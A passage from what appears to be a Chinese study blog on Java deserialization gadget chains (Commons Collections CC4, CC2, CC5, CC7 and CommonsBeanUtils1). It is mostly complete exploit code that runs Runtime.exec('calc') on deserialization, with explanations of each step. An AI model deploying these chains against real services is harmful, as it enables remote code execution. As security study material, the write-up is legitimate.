tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
但改完会发现还是不行,问题出在:
简单说就是虽然通过add
确保了优先队列长度为2,但是引发了新的问题:add
直接触发完了这条链子。但之前那条CC3
链子中有这么个东西:
1 2 3 4 Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer();
_tfactory
这东西被transient
修饰不能给他赋值,不过好在readObject
的时候给他复制了所以让他不为null
。这里直接越过了readObject
,所以为null
直接报错。
如果把EXP改成这样可以直接弹计算器(但这显然不是我们需要的,因为还没反序列化):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class CC4EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(chainedTransformer))); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 );
解决方法和前面一样,先把这条链子改成错的,让他add
的时候别触发这条链子。add
完了再通过反射改回去就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class CC4EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Drunkbaby" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer" ); transformingField.setAccessible(true ); transformingField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC2 CC2 这条链实际上是在 CC4 链基础上的修改,目的是避免使用 Transformer
数组。这里和CC4+CB1
链子有点像,我是懒狗就直接放EXP了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC2EXP { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Anything" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("E://Clac.class" )); byte [][] codes = {evil}; bytecodesField.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer <>("newTransformer" , new Class []{}, new Object []{}); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer <>(1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer" ); transformingField.setAccessible(true ); transformingField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
CC5 入口类是 BadAttributeValueExpException
的 readObject()
方法:
TiedMapEntry
这个类存在 toString()
方法:
一直很好奇这种链子是怎么找出来的。。拿toString()
这种方法来说,用法可能有成百上千个,能在这么多用法中找出能用的也太吊了
调用了getKey()
和getValue()
方法,getValue()
方法调用了get()
方法:
map.get()
,这就回到了CC1
里Lazymap
那条链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get" , Object.class); lazyGetMethod.setAccessible(true ); lazyGetMethod.invoke(decorateMap, "everything!" ); } }
这里用反射直接调用了get
方法弹出计算器。接下来利用TiedMapEntry
类调用 toString()
进而调用get
方法:
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class TiedMapEntryEXP { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (decorateMap, "value" ); tiedMapEntry.toString(); } }
前面说了入口是 BadAttributeValueExpException
的 readObject()
,new
一个之后 给val
赋值为TiedMapEntry
的实例就行,然后序列化,反序列化时就能触发了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package entity;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class TiedMapEntryEXP { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (decorateMap, "value" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (); Class c = Class.forName("javax.management.BadAttributeValueExpException" ); Field field = c.getDeclaredField("val" ); field.setAccessible(true ); field.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用顺序:
1 2 3 4 5 6 7 BadAttributeValueExpException.readObject->TiedMapEntry.toString ->LazyMap.get->ChainedTransformer.transform ->ConstantTransformer.transform->InvokerTransformer.transform ->Method.invoke->Class .getMethod ->InvokerTransformer.transform->Method.invoke ->Runtime.getRuntime-> InvokerTransformer.transform ->Method.invoke->Runtime.exec
CC7 主要参考了这两位师傅的文章:
1
2
后半条链子与CC1相同,前半部分入口类为:Hashtable
,它的readObject
方法调用了一个reconstitutionPut
方法:
跟进这个reconstitutionPut
:
这里有两个可用的方法:equals()
和 hashCode()
。(这里有个需要注意的点是:不管是reconstitutionPut
方法还是equals
方法,都得先进for
循环才行)。hashCode
的话就是CC6那条,先看equals
:
AbstractMap
类中的 equals()
方法中发现其调用了 get()
方法:
这里equals
接受一个object o
,然后把这个o
传给m
,即reconstitutionPut
中的key
其实就是通过AbstractMap#equals
来调用LazyMap#get
。现在试着分析一下这个’’新的’’CC1
前半部分:
reconstitutionPut
:
这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key)
,这里的e
就是个索引。传进去的参数key如果是我们可控的,那么AbstractMap.equals()
中的m就是我们可控的(逻辑就是equals
接受的参数是Object o
,然后Map<?,?> m = (Map<?,?>) o;
)。最后要注意这两个key
:e.key.equals(key)
,前面那个e.key
是该条目的键,而 key
是作为参数传递给 reconstitutionPut
方法的键。所以我们在序列化时可以利用put
给hashtable
放一个key
=恶意类:
1 2 Hashtable hashtable = new Hashtable (); hashtable.put(decorateMap, "Drunkbaby" );
然后序列化后用反序列化触发他,比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.*; public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Hashtable hashtable = new Hashtable (); hashtable.put(decorateMap, "Drunkbaby" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
但这时运行并不会弹计算器,断点打在AbstractMap.equals()
然后调试一下,可以发现并没有进到equals
里面,官方链子写法如下:
可以看到它利用decorate
搞出了两个lazymap
(EXP中写的那个decorateMap
),然后他给这个map
里分别放了键yy
和zZ
,值都是1。然后把这两个恶意类都放进hashtable
里后改了下transformerChain
中iTransfomers
的值(也就是EXP中写的那个chainedTransformer
)。
这里直接把正确的EXP放上来,对照着分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { Transformer[] fakeTransformers = new Transformer [] {}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class}, new String [] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); lazyMap2.remove("yy" ); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cc7.bin" )); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cc7.bin" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
在分析前说下之前的问题:即不管是reconstitutionPut
方法还是equals
方法,都得先进for
循环才行:这里主要看hashtable
下的reconstitutionPut
中的for
循环怎么满足:
1 2 3 4 5 6 7 8 9 10 for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
添加第一个元素时并不会进入if语句调用equals方法进行判断(e = e.next然后第一个if的内容是e.hash == hash
,要是只有一个的话连e.next都没有),因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法,否则不会触发漏洞。
然后注意这个equals
方法:最终利用e.key.equals()
调用了LazyMap
的equals
方法(往hashtable
中put
了lazymap的实例),但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。
第一部分:
1 2 3 4 5 6 7 8 Transformer[] fakeTransformers = new Transformer [] {}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class}, new String [] {"calc.exe" }), };
可以看到这里弄了两个Transformer
数组,一个fakeTransformers
和一个transformers
。这里的用法和我们之前随便改个值那种方法的目标是一样的:
put
时同样会触发equals
方法:
先用这个fake
等put
完了通过反射改回来就行。
第二部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer transformerChain = new ChainedTransformer (fakeTransformers);Map innerMap1 = new HashMap ();Map innerMap2 = new HashMap ();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 );Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 );Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 );
先将fakeTransformers
传入ChainedTransformer
对象;
new两个HashMap
对象,都调用LazyMap.decorate
,并且分别向两个对象中传值,两个key值分别为yy
和zZ
,因为需要这两个值的hash值相等,而在java中,yy
和zZ
的hash值恰好相等;
然后将这两个LazyMap类对象put进Hashtable类对象;
第三部分:
1 2 3 4 5 Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); lazyMap2.remove("yy" );
回顾下这个iTransformers
是什么:
通过反射获取ChainedTransformer
的iTransformers
变量,将含有我们反序列化时要执行的命令的transformers
数组传进去,替换前面的fakeTransformers
;
为什么要删除lazymap2
中的yy
键值对?这个键值对是从哪里来的?
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。
唉,我是懒狗,具体可以看这位师傅的分析:
yy=yy
如果不把这个yy
删掉,反序列化走到AbstractMap
的equals
时:
可以看到当两个size
不相等就直接返回False
了。
CommonsBeanUtils1 参考文章
首先Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class Baby { private String name = "Drunkbaby" ; public String getName () { return name; } public void setName (String name) { this .name = name; } }import org.apache.commons.beanutils.PropertyUtils; public class CBMethods { public static void main (String[] args) throws Exception{ System.out.println(PropertyUtils.getProperty(new Baby (), "name" )); } }
利用点就是可以用这个静态方法去调静态类加载那章中的getOutputProperties()
,可以执行命令。
(动态类加载那里就不细说了,就是CC3那些)
BeanComparator.compare()
方法:
这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。
所以如果需要传值比较,肯定是需要新建一个 PriorityQueue
的队列,并让其有 2 个值进行比较。而且 PriorityQueue
的构造函数当中就包含了一个比较器。
最后使用 queue.add 就可以自动完成比较是因为 add 方法调用了 compare 方法,如图
所以初步EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CommonBeans1EXP { public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator beanComparator = new BeanComparator (); setFieldValue(beanComparator, "property" , "outputProperties" ); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , beanComparator); queue.add(templates); queue.add(templates); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
可以看到new
了两个实例:beanComparator
和PriorityQueue
,这里先看下它俩的构造函数:
1 2 3 4 5 6 final BeanComparator beanComparator = new BeanComparator (); public class BeanComparator implements Comparator , Serializable { private String property; private Comparator comparator; }
这里就是new
了一个BeanComparator
,等下要利用这个类中的方法去调用(get)Property
方法,如图:
1 final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , beanComparator);
new
了一个PriorityQueue
实例,看下它的构造函数:
所以这个队列里容纳的初始元素为2,然后comparator
为beanComparator
,然后PriorityQueue
这个类的 siftDownUsingComparator()
方法会调用 compare()
:
最终就成了BeanComparator.compare()
简单梳理一下:
queue.add(templates);
add最终调用comparator.compare
,这里的comparator
被赋值为beanComparator
,即beanComparator.compare
然后这个compare
方法回去调PropertyUtils.getProperty(o1, propeery)
。这里property
的值为outputProperties
。o1
需要是TemplatesImpl
的实例即上面那个templates
。
queue.add(templates);
这里的templates
就相当于要被比较的o1,o2
了。
走到compare
就相当于这个:
1 PropertyUtils . getProperty(templates ,"outputProperties" )
然后注意add
的时候也会走到最终的compare
方法,我们的目标是让他反序列化时才触发。这里思路就跟前面那几条改值的链子一样:先放个没啥用的变量进去,然后通过反射修改就行。
最终EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CB1FinalEXP { public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator beanComparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , beanComparator); queue.add(1 ); queue.add(1 ); setFieldValue(beanComparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); serialize(queue); unserialize("ser.bin" ); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 PriorityQueue . readObject() PriorityQueue . heapify() -> PriorityQueue . siftDown() PriorityQueue . siftDownUsingComparator() -> BeanComparator . compare() ->PropertyUtils . getProperty(templatesImpl , outputProperties ) -> TemplatesImpl . getOutputProperties() TemplatesImpl .new Transformer() TemplatesImpl . getTransletInstance() TemplatesImpl . defineTransletClasses()
网上看了其它师傅的写法,还能这么写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class EXP { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("E:\\Clac.class" )); byte [][] codes={code}; TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"aaa" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,codes); BeanComparator beanComparator=new BeanComparator ("outputProperties" ,new AttrCompare ()); BeanComparator beanComparator1=new BeanComparator (); PriorityQueue priorityQueue=new PriorityQueue (beanComparator1); priorityQueue.add("1" ); priorityQueue.add("2" ); setFieldValue(beanComparator,"property" ,"outputProperties" ); setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates}); setFieldValue(priorityQueue,"comparator" ,beanComparator); unserialize("ser.bin" ); }
可以看到就多了这几个东西:
1 2 3 BeanComparator beanComparator1=new BeanComparator (); PriorityQueue priorityQueue=new PriorityQueue (beanComparator1); setFieldValue(priorityQueue,"comparator" ,beanComparator);
其实目标还是保证add
的时候不弹计算器,所以放了假的queue
和comparator
进去,效果是一样的
参考文章
CC7
参考文章
等等等。。。